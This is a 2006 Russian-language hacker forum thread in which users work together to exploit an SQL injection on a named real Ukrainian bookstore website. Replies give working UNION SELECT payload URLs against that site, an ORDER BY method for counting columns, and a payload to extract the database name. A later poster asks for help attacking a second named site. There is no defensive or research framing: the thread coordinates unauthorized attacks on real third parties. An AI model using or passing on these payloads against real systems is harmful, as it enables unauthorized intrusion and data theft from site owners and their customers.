SQL-injection

Discussion in 'Уязвимости' started by [alg0n, 2 May 2006.

  1. [alg0n

    [alg0n New Member

    Joined:
    2 May 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    -2
    Помогите плизз! Я обнаружил возможность sql-injection на сайте :
    http://kniga.com.ua/index.php?Lev=product_info&id=881'
    Пробовал так :
    http://kniga.com.ua/index.php?Lev=product_info&id=881+union+select+null/*
    и так :
    http://kniga.com.ua/index.php?Lev=product_info&id=881+union+select+null,null/*
    Уже практически все попробовал. Нифига. Или ошибка mysql_fetch_array вылезает или страница с книгой открывается.
    Может я что-то в синтаксисе упустил?
     
  2. virgoz

    virgoz Elder - Старейшина

    Joined:
    16 Sep 2004
    Messages:
    151
    Likes Received:
    28
    Reputations:
    15
    http://kniga.com.ua/index.php?Lev=product_info&id=-883'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
     
  3. Deem3n®

    Deem3n® RTFMSDN

    Joined:
    19 Sep 2005
    Messages:
    378
    Likes Received:
    153
    Reputations:
    164
    [flame]
    в этом случае проще количество столбцов перебирать вот таким способом:
    __http://site.com/index.php?Lev=product_info&id=-1'+order by x/*
    x = 1 ... n
    Если при x = n вылетает ошибка то количество столбцов n-1
    В этом случае ошибка вылетает при х=21
    http://kniga.com.ua/index.php?Lev=product_info&id=-883' order by 21/*
    [/flame]
    ЗЫ: сорри за флейм просто не удержался и запостил когда увидел такую длинную ссылку :)
     
    4 people like this.
  4. [alg0n

    [alg0n New Member

    Joined:
    2 May 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    -2
    А не подскажете как узнать имя таблицы через sql-injection? На примере с www.kinga.com.ua.
    Например узнать имя БД : вместо null подставить DATABASE(). Есть ли в MySQL такие средства?
     
  5. Metvill

    Metvill Banned

    Joined:
    21 May 2006
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    http://kniga.com.ua/index.php?Lev=product_info&id=-883'+union+select+1,2,DATABASE(),4,5,6,7,8,9,10,11,12,13,14 ,15,16,17,18,19,20/*

    Народ, может и не тут пишу, но нужно узнать возмжна ли sql-injection на сайте http://www.e-d.lt/?ru=1117522100' и если можно пример, для меня это очень важно.
     
    #5 Metvill, 21 May 2006
    Last edited: 24 May 2006
  6. Metvill

    Metvill Banned

    Joined:
    21 May 2006
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    а вопрос то кажется несложным, чтож так никто и не знает?